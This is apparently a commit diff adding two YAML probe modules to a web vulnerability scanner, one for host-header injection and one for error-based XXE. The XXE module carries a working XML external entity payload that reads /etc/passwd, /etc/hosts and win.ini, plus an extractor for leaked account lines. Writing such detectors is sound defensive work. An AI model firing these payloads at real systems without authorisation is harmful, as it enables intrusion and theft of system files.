feat(modules): add host-header injection and xxe probe modules (#277)

* feat(modules): add host-header injection and xxe probe modules

host-header-injection sets an rfc 2606 .invalid marker in the forwarded-host
headers and fires only when it comes back inside an absolute-url construct
(href/src/action/content/url), so a benign echo into text or an attribute cannot
trigger it. xxe-error-based expands a SYSTEM entity pointing at a local file and
matches only that file's contents, so an echo of the payload (a path string)
cannot satisfy it.

* chore(modules): trim redundant module header comments

drop the leading comment restating id/name on host-header-injection and xxe-error-based

modules/http/host-header-injection.yaml

@@ -0,0 +1,47 @@
+id: host-header-injection
+info:
+  name: Host Header Injection
+  author: sif
+  severity: medium
+  description: Detects host header injection by confirming an attacker-controlled forwarded-host value is echoed back inside an absolute URL construct (href/src/action/content/url) in the rendered response, proving the app used the untrusted header to build a link
+  tags: [host-header-injection, ssrf, cache-poisoning, owasp-top10]
+
+type: http
+
+http:
+  method: GET
+  paths:
+    - "{{BaseURL}}/"
+    - "{{BaseURL}}/login"
+    - "{{BaseURL}}/reset-password"
+    - "{{BaseURL}}/password/reset"
+    - "{{BaseURL}}/forgot-password"
+    - "{{BaseURL}}/oauth/authorize"
+
+  # RFC 2606 .invalid guarantees the marker can never collide with a real
+  # domain, so any absolute-URL reflection of it in the body is proof the
+  # forwarded-host header (not the request line) drove link generation.
+  headers:
+    X-Forwarded-Host: "sifprobe-a8f31c92.invalid"
+    X-Forwarded-Server: "sifprobe-a8f31c92.invalid"
+    X-Host: "sifprobe-a8f31c92.invalid"
+    X-Original-Host: "sifprobe-a8f31c92.invalid"
+    Forwarded: "for=127.0.0.1;host=sifprobe-a8f31c92.invalid;proto=http"
+
+  threads: 10
+
+  matchers:
+    - type: regex
+      part: body
+      regex:
+        - '(?is)(?:href|src|action|content)\s*=\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid'
+        - '(?is)url\(\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid'
+      condition: or
+
+  extractors:
+    - type: regex
+      name: reflected_context
+      part: body
+      regex:
+        - '((?:href|src|action|content|url)\s*[=(]\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid[^"'')\s]*)'
+      group: 1

modules/http/xxe-error-based.yaml

@@ -0,0 +1,60 @@
+id: xxe-error-based
+info:
+  name: XML External Entity Injection
+  author: sif
+  severity: high
+  description: Detects XML external entity injection by confirming the parser expanded a SYSTEM entity and returned the contents of a local file the payload never contained
+  tags: [xxe, injection, xml, owasp-top10]
+
+type: http
+
+http:
+  method: POST
+  paths:
+    - "{{BaseURL}}/"
+    - "{{BaseURL}}/api"
+    - "{{BaseURL}}/api/xml"
+    - "{{BaseURL}}/xml"
+    - "{{BaseURL}}/soap"
+    - "{{BaseURL}}/upload"
+    - "{{BaseURL}}/import"
+    - "{{BaseURL}}/xmlrpc.php"
+
+  headers:
+    Content-Type: application/xml
+    Accept: application/xml
+
+  # the payload is only ever a file *path*; a match requires the target
+  # file's actual contents, so a benign echo of the payload text (the path
+  # string itself) can never satisfy the matcher.
+  payloads:
+    - "/etc/passwd"
+    - "/etc/hosts"
+    - "/windows/win.ini"
+
+  body: |
+    <?xml version="1.0" encoding="UTF-8"?>
+    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{{payload}}"> ]>
+    <foo>&xxe;</foo>
+
+  threads: 10
+
+  matchers:
+    - type: regex
+      part: body
+      regex:
+        - "root:.*:0:0:"
+        - "daemon:.*:1:1:"
+        - "nobody:.*:65534:"
+        - "127\\.0\\.0\\.1\\s+localhost"
+        - "\\[fonts\\]"
+        - "; for 16-bit app support"
+      condition: or
+
+  extractors:
+    - type: regex
+      name: leaked_content
+      part: body
+      regex:
+        - "(root|daemon|nobody):.*:[0-9]+:[0-9]+:"
+      group: 0